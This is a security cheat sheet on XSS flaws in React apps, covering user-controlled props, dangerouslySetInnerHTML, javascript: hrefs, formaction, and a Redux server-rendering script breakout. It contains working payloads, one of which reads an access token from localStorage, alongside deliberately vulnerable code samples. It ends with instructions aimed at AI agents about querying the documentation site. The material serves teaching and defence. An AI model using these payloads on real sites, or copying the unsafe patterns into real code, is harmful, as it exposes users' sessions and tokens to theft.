# Security Issues

## Controlling element type

The `createElement` function accepts a string in the `type` argument. If the string is controlled by a user it would be possible to create an arbitrary React component:

```javascript
// Dynamically create an element from a string stored in the backend
// stored_value is a user-controlled string
element_name = stored_value;
React.createElement(element_name, null);
```

However, this would result only in a plain, attribute-less HTML element (pretty useless).

## Injecting props

The `createElement` function accepts a list of attributes in the `props` argument. If the list is controlled by a user it would be possible to inject arbitrary props into the new element:

```javascript
// Parse user-supplied JSON and pass the resulting object as props
// stored_value is a user-controlled JSON string with attributes
props = JSON.parse(stored_value);
React.createElement("span", props);
```

You can use the following payload to set the `dangerouslySetInnerHTML` attribute:

```javascript
{"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>" }}
```

## Explicitly setting dangerouslySetInnerHTML

If a user-supplied data is used to set the `dangerouslySetInnerHTML` attribute you can insert arbitrary JavaScript code:

```javascript
<div dangerouslySetInnerHTML={user_supplied} />
```

## Explicitly setting href

If a user-supplied data is used to set the `href` attribute you can insert a `javascript:` URL:

```javascript
<a href={user_supplied}>Link</a>
```

Some other attributes such as `formaction` in HTML5 buttons or HTML5 imports also can be vulnerable:

```javascript
// HTML5 button
<button form="name" formaction={user_supplied}/>
// HTML5 import
<link rel="import" href={user_supplied}>
```

## Abusing server-side rendering

If a user-controlled data is passed to code that relies on user generated content and input without proper sanitization you can inject arbitrary JavaScript code.

For example, the official [Redux](https://redux.js.org/) code sample for SSR was vulnerable to XSS ([the sample was fixed](https://redux.js.org/usage/server-rendering#inject-initial-component-html-and-state)):

```javascript
function renderFullPage(html, preloadedState) {
  return `
    <!doctype html>
    <html>
      <head>
        <title>Redux Universal Example</title>
      </head>
      <body>
        <div id="root">${html}</div>
        <script>
          window.__PRELOADED_STATE__ = ${JSON.stringify(preloadedState)}
        </script>
        <script src="/static/bundle.js"></script>
      </body>
    </html>
    `
}
```

In the above sample, result of the `JSON.stringify` function is assigned to a global variable in a `<script>` tag, this is the vulnerability. If a Redux store has the following value:

```javascript
{
    user: {
        username: "username",
        bio: "bio</script><script>alert(1)</script>"
    }
}
```

When a browser parses the page and encounters that `<script>` tag, it will continue reading until `</script>`. The browser will not read until the last curly bracket, instead, it will actually finish the script tag after `bio: "as`.

References:

* [The Most Common XSS Vulnerability in React.js Applications](https://medium.com/node-security/the-most-common-xss-vulnerability-in-react-js-applications-2bdffbcc1fa0)

## References

* [Exploiting Script Injection Flaws in ReactJS Apps](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xn3va.gitbook.io/cheat-sheets/framework/react/security-issues.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
